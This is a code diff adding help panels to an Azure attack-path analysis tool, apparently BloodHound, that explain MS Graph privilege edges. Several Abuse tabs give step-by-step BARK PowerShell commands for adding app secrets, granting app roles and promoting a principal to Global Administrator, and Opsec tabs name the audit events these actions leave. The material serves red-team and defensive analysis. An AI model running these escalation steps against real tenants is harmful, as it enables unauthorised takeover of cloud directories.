+ + Andy Robbins - BARK.ps1 + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGAddSecret/AZMGAddSecret.jsx b/src/components/Modals/HelpTexts/AZMGAddSecret/AZMGAddSecret.jsx new file mode 100644 index 000000000..c39780933 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddSecret/AZMGAddSecret.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGAddSecret = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGAddSecret.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGAddSecret; diff --git a/src/components/Modals/HelpTexts/AZMGAddSecret/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGAddSecret/Abuse.jsx new file mode 100644 index 000000000..563fafbb7 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddSecret/Abuse.jsx @@ -0,0 +1,105 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ There are several ways to perform this abuse, depending on what + sort of access you have to the credentials of the object that + holds this privilege against the target object. If you have an + interactive web browser session for the Azure portal, it is as + simple as finding the target App in the portal and adding a new + secret to the object using the “Certificates & secrets” tab. + Service Principals do not have this tab in the Azure portal but + you can add secrets to them with the MS Graph API. +

+ +

+ No matter what kind of control you have, you will be able to + perform this abuse by using BARK’s New-AppRegSecret or + New-ServicePrincipalSecret functions. +

+ +

+ These functions require you to supply an MS Graph-scoped JWT + associated with the Service Principal that has the privilege + to add secrets to the target object. There are several ways to + acquire a JWT. For example, you may use BARK’s + Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT + by supplying a Service Principal Client ID and secret: +

+ +
+                    
+                        {
+                            '$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
+                            '    -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
+                            '    -ClientSecret "asdf..." `\n' +
+                            '    -TenantName "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ Then use BARK’s New-AppRegSecret to add a new secret to the + target application: +

+ +
+                    
+                        {
+                            'New-AppRegSecret `\n' +
+                            '    -AppRegObjectID "d878…" `\n' +
+                            '    -Token $MGToken.access_token'
+                        }
+                    
+                
+ +

+ The output will contain the plain-text secret you just created + for the target app: +

+ +
+                    
+                        {
+                            'New-AppRegSecret `\n' +
+                            '    -AppRegObjectID "d878…" `\n' +
+                            '    -Token $MGToken.access_token\n' +
+                            '\n' +
+                            'Name                Value\n' +
+                            '-----------------------------\n' +
+                            'AppRegSecretValue   odg8Q~...\n' +
+                            'AppRegAppId         4d31…\n' +
+                            'AppRegObjectId      d878…'
+                        }
+                    
+                
+ +

+ With this plain text secret, you can now acquire tokens as the + service principal associated with the app. You can easily do + this with BARK’s Get-MSGraphToken function: +

+ +
+                    
+                        {
+                            '$SPToken = Get-MSGraphToken `\n' +
+                            '    -ClientID "4d31…" `\n' +
+                            '    -ClientSecret "odg8Q~..." `\n' +
+                            '    -TenantName "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ Now you can use this JWT to perform actions against any other MS + Graph endpoint as the service principal, continuing your attack + path with the privileges of that service principal. +

+ + ); +}; + +export default Abuse; \ No newline at end of file diff --git a/src/components/Modals/HelpTexts/AZMGAddSecret/General.jsx b/src/components/Modals/HelpTexts/AZMGAddSecret/General.jsx new file mode 100644 index 000000000..667d9fe20 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddSecret/General.jsx @@ -0,0 +1,31 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created during post-processing. It is created against + all Azure App Registrations and Service Principals when a Service + Principal has one of the following MS Graph app roles: +

+ +

+

    +
  • Application.ReadWrite.All
  • +
  • RoleManagement.ReadWrite.Directory
  • +
+

+ +

+ You will not see this privilege when using just the Azure portal + or any other Microsoft tooling. If you audit the roles and administrators + affecting any particular Azure App or Service Principal, you will not see + that the Service Principal can add secrets to the object, but it + indeed can because of the parallel access management system used + by MS Graph. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGAddSecret/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGAddSecret/Opsec.jsx new file mode 100644 index 000000000..6fd8e62f2 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddSecret/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ When you create a new secret for an App or Service Principal, + Azure creates an event called “Update application – Certificates + and secrets management”. This event describes who added the secret + to which application or service principal. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGAddSecret/References.jsx b/src/components/Modals/HelpTexts/AZMGAddSecret/References.jsx new file mode 100644 index 000000000..02ec5e424 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddSecret/References.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + +
+ + Andy Robbins - BARK.ps1 + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/AZMGAppRoleAssignment_ReadWrite_All.jsx b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/AZMGAppRoleAssignment_ReadWrite_All.jsx new file mode 100644 index 000000000..fa0c3ec89 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/AZMGAppRoleAssignment_ReadWrite_All.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGAppRoleAssignment_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGAppRoleAssignment_ReadWrite_All.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGAppRoleAssignment_ReadWrite_All; diff --git a/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Abuse.jsx new file mode 100644 index 000000000..d6952c82b --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the AppRoleAssignment.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/General.jsx b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/General.jsx new file mode 100644 index 000000000..0b9823d73 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/General.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the AppRoleAssignment.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Opsec.jsx new file mode 100644 index 000000000..5ebdcbbc2 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the AppRoleAssignment.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/References.jsx b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/References.jsx new file mode 100644 index 000000000..c870f5bae --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/References.jsx @@ -0,0 +1,18 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/AZMGApplication_ReadWrite_All.jsx b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/AZMGApplication_ReadWrite_All.jsx new file mode 100644 index 000000000..1005c9efe --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/AZMGApplication_ReadWrite_All.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGApplication_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGApplication_ReadWrite_All.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGApplication_ReadWrite_All; diff --git a/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Abuse.jsx new file mode 100644 index 000000000..8035602ef --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Application.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/General.jsx b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/General.jsx new file mode 100644 index 000000000..af01ff83c --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/General.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Application.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Opsec.jsx new file mode 100644 index 000000000..97bcdde41 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Application.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/References.jsx b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/References.jsx new file mode 100644 index 000000000..c870f5bae --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/References.jsx @@ -0,0 +1,18 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/AZMGDirectory_ReadWrite_All.jsx b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/AZMGDirectory_ReadWrite_All.jsx new file mode 100644 index 000000000..a008d8914 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/AZMGDirectory_ReadWrite_All.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGDirectory_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGDirectory_ReadWrite_All.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGDirectory_ReadWrite_All; diff --git a/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Abuse.jsx new file mode 100644 index 000000000..d08b8b732 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Directory.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/General.jsx b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/General.jsx new file mode 100644 index 000000000..1bbb9e134 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/General.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Directory.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Opsec.jsx new file mode 100644 index 000000000..8937a6128 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Directory.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/References.jsx b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/References.jsx new file mode 100644 index 000000000..c870f5bae --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/References.jsx @@ -0,0 +1,18 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGGrantAppRoles/AZMGGrantAppRoles.jsx b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/AZMGGrantAppRoles.jsx new file mode 100644 index 000000000..b9c742344 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/AZMGGrantAppRoles.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGGrantAppRoles = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGGrantAppRoles.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGGrantAppRoles; diff --git a/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Abuse.jsx new file mode 100644 index 000000000..d2cd05658 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Abuse.jsx @@ -0,0 +1,109 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ With the ability to grant arbitrary app roles, you can grant + the RoleManagement.ReadWrite.Directory app role to a Service + Principal you already control, and then promote it or another + principal to Global Administrator. +

+ +

+ These functions require you to supply an MS Graph-scoped JWT + associated with the Service Principal that has the privilege + to grant app roles. There are several ways to + acquire a JWT. For example, you may use BARK’s + Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT + by supplying a Service Principal Client ID and secret: +

+ +
+                    
+                        {
+                            '$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
+                            '    -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
+                            '    -ClientSecret "asdf..." `\n' +
+                            '    -TenantName "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ Use BARK's Get-AllAzureADServicePrincipals to collect all + Service Principal objects in the tenant: +

+ +
+                    
+                        {
+                            '$SPs = Get-AllAzureADServicePrincipals `\n' +
+                            '    -Token $MGToken'
+                        }
+                    
+                
+ +

+ Next, find the MS Graph Service Principal's ID. You can do this by + piping $SPs to Where-Object, finding objects where the appId value + matches the universal ID for the MS Graph Service Principal, which is + 00000003-0000-0000-c000-000000000000: +

+ +
+                    
+                        {
+                            '$SPs | ?{$_.appId -Like "00000003-0000-0000-c000-000000000000"} | Select id'
+                        }
+                    
+                
+ +

+ The output will be the object ID of the MS Graph Service Principal. + Take that ID and use it as the "ResourceID" argument for BARK's + New-AppRoleAssignment function. The AppRoleID of '9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8' + is the universal ID for RoleManagement.ReadWrite.Directory. The + SPObjectId is the object ID of the Service Principal you want to grant + this app role to: +

+ +
+                    
+                        {
+                            'New-AppRoleAssignment `\n' +
+                            '    -SPObjectId "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `\n' +
+                            '    -AppRoleID "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" `\n' +
+                            '    -ResourceID "9858020a-4c00-4399-9ae4-e7897a8333fa" `\n' +
+                            '    -Token $MGToken'
+                        }
+                    
+                
+ +

+ If successful, the output of this command will show you the App Role + assignment ID. Now that your Service Principal has the RoleManagement.ReadWrite.Directory + MS Graph app role, you can promote the Service Principal to Global Administrator + using BARK's New-AzureADRoleAssignment. +

+ +
+                    
+                        {
+                            'New-AzureADRoleAssignment `\n' +
+                            '    -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `\n' +
+                            '    -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `\n' +
+                            '    -Token $MGToken'
+                        }
+                    
+                
+ +

+ If successful, the output will include the principal ID, the role ID, and a + unique ID for the role assignment. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGGrantAppRoles/General.jsx b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/General.jsx new file mode 100644 index 000000000..52591032f --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/General.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created during post-processing. It is created against + AzureAD tenant objects when a Service Principal has one of the following + MS Graph app role assignments: +

+ +

+

    +
  • AppRoleAssignment.ReadWrite.All
  • +
  • RoleManagement.ReadWrite.Directory
  • +
+

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Opsec.jsx new file mode 100644 index 000000000..3046f23ab --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Opsec.jsx @@ -0,0 +1,17 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ When you assign an app role to a Service Principal, the Azure + Audit logs will create an event called "Add app role assignment + to service principal". This event describes who made the change, + what the target service principal was, and what app role assignment + was granted. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGGrantAppRoles/References.jsx b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/References.jsx new file mode 100644 index 000000000..02ec5e424 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantAppRoles/References.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + +
+ + Andy Robbins - BARK.ps1 + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGGrantRole/AZMGGrantRole.jsx b/src/components/Modals/HelpTexts/AZMGGrantRole/AZMGGrantRole.jsx new file mode 100644 index 000000000..361e1a497 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantRole/AZMGGrantRole.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGGrantRole = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGGrantRole.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGGrantRole; diff --git a/src/components/Modals/HelpTexts/AZMGGrantRole/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGGrantRole/Abuse.jsx new file mode 100644 index 000000000..25b481cc9 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantRole/Abuse.jsx @@ -0,0 +1,55 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ To abuse this privilege, you can promote a principal you control + to Global Administrator using BARK's New-AzureADRoleAssignment. +

+ +

+ This function requires you to supply an MS Graph-scoped JWT + associated with the Service Principal that has the privilege + to grant AzureAD admin roles. There are several ways to + acquire a JWT. For example, you may use BARK’s + Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT + by supplying a Service Principal Client ID and secret: +

+ +
+                    
+                        {
+                            '$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
+                            '    -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
+                            '    -ClientSecret "asdf..." `\n' +
+                            '    -TenantName "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ Then use BARK's New-AzureADRoleAssignment function to grant the + AzureAD role to your target principal: +

+ +
+                    
+                        {
+                            'New-AzureADRoleAssignment `\n' +
+                            '    -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `\n' +
+                            '    -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `\n' +
+                            '    -Token $MGToken'
+                        }
+                    
+                
+ +

+ If successful, the output will include the principal ID, the role ID, and a + unique ID for the role assignment. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGGrantRole/General.jsx b/src/components/Modals/HelpTexts/AZMGGrantRole/General.jsx new file mode 100644 index 000000000..67d9348e0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantRole/General.jsx @@ -0,0 +1,27 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created during post-processing. It is created against + all AzureAD admin roles when a Service Principal has the following + MS Graph app role assignment: +

+ +

+

    +
  • RoleManagement.ReadWrite.Directory
  • +
+

+ +

+ This privilege allows the Service Principal to promote itself or + any other principal to any AzureAD admin role, including Global + Administrator. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGGrantRole/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGGrantRole/Opsec.jsx new file mode 100644 index 000000000..72777be38 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantRole/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ When you assign an AzureAD admin role to a principal + using this privilege, the Azure Audit log will create + an event called "Add member to role outside of PIM + (permanent)". +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGGrantRole/References.jsx b/src/components/Modals/HelpTexts/AZMGGrantRole/References.jsx new file mode 100644 index 000000000..02ec5e424 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGrantRole/References.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + +
+ + Andy Robbins - BARK.ps1 + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/AZMGGroupMember_ReadWrite_All.jsx b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/AZMGGroupMember_ReadWrite_All.jsx new file mode 100644 index 000000000..cc27cf84f --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/AZMGGroupMember_ReadWrite_All.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGGroupMember_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGGroupMember_ReadWrite_All.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGGroupMember_ReadWrite_All; diff --git a/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Abuse.jsx new file mode 100644 index 000000000..7a73e763b --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the GroupMember.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/General.jsx b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/General.jsx new file mode 100644 index 000000000..dde78bc45 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/General.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the GroupMember.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Opsec.jsx new file mode 100644 index 000000000..324de0216 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the GroupMember.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/References.jsx b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/References.jsx new file mode 100644 index 000000000..c870f5bae --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/References.jsx @@ -0,0 +1,18 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/AZMGGroup_ReadWrite_All.jsx b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/AZMGGroup_ReadWrite_All.jsx new file mode 100644 index 000000000..e70ff8585 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/AZMGGroup_ReadWrite_All.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGGroup_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGGroup_ReadWrite_All.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGGroup_ReadWrite_All; diff --git a/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Abuse.jsx new file mode 100644 index 000000000..564cefd9f --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Group.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

